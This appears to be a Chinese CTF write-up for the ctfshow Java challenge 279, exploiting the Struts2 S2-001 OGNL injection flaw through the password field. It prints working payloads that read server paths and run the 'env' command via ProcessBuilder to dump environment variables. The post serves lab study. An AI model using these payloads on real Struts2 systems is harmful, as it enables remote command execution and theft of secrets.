java
发表于|更新于
|阅读量:
Ctfshow
Java
279
struts2漏洞 S2-001
在password栏中输入:%{1+1}
,发现回显2
payload:
1 2 3 4 5 6 7 8
| // 获取tomcat路径 %{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
// 获取web路径 %{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
// 命令执行 env,flag就在其中 password=%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}&username=1
|